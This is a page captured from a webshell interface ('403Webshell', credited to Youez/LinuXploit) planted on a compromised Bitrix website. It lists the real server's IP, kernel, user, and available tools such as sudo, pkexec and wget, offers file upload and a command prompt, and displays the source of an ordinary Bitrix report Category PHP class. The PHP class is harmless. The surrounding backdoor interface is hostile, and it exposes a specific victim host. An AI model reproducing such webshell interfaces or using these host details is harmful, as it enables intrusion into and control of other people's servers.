403Webshell
Server IP : 80.87.202.40  /  Your IP : 216.73.216.169
Web Server : Apache
System : Linux rospirotorg.ru 5.14.0-539.el9.x86_64 #1 SMP PREEMPT_DYNAMIC Thu Dec 5 22:26:13 UTC 2024 x86_64
User : bitrix ( 600)
PHP Version : 8.2.27
Disable Function : NONE
MySQL : OFF |  cURL : ON |  WGET : ON |  Perl : ON |  Python : OFF |  Sudo : ON |  Pkexec : ON
Directory :  /home/bitrix/ext_www/rospirotorg.ru/bitrix/modules/report/lib/visualconstructor/

Upload File :
current_dir [ Writeable] document_root [ Writeable]

 

Command :


[ Back ]     

Current File : /home/bitrix/ext_www/rospirotorg.ru/bitrix/modules/report/lib/visualconstructor/category.php
<?php

namespace Bitrix\Report\VisualConstructor;

/**
 * Class Category, create instance of this class and than you can attach it to your report
 * @property array children
 * @property array parent
 * @package Bitrix\Report\VisualConstructor
 */
class Category
{
	private $key;
	private $label;
	private $parentKey = NULL;
	private $relations = array();

	/**
	 * @return mixed
	 */
	public function getParentKey()
	{
		return $this->parentKey;
	}

	/**
	 * Setter for parent category.
	 *
	 * @param string $parentKey Parent category key.
	 * @return void
	 */
	public function setParentKey($parentKey)
	{
		$this->parentKey = $parentKey;
	}

	/**
	 * @return string Category identify key.
	 */
	public function getKey()
	{
		return $this->key;
	}

	/**
	 * Setter for key of category.
	 *
	 * @param string $key Category identify key.
	 * @return void
	 */
	public function setKey($key)
	{
		$this->key = $key;
	}

	/**
	 * @return string
	 */
	public function getLabel()
	{
		return $this->label;
	}

	/**
	 * Setter for category label, this label will appear in categories lists.
	 *
	 * @param string $label Label value.
	 * @return void
	 */
	public function setLabel($label)
	{
		$this->label = $label;
	}


	/**
	 * Setter for not exist properties.
	 * All not exist properties will try to write to relations.
	 *
	 * @param string $key Key of set function.
	 * @param mixed $value Value which try to set.
	 * @return $this
	 */
	public function __set($key, $value)
	{
		$this->relations[$key] = $value;
		return $this;
	}

	/**
	 * Getter for not exist properties
	 * Return realtion value.
	 *
	 * @param string $value Relation name.
	 * @return mixed
	 */
	public function __get($value)
	{
		return $this->relations[$value];
	}
}

Youez - 2016 - github.com/yon3zu
LinuXploit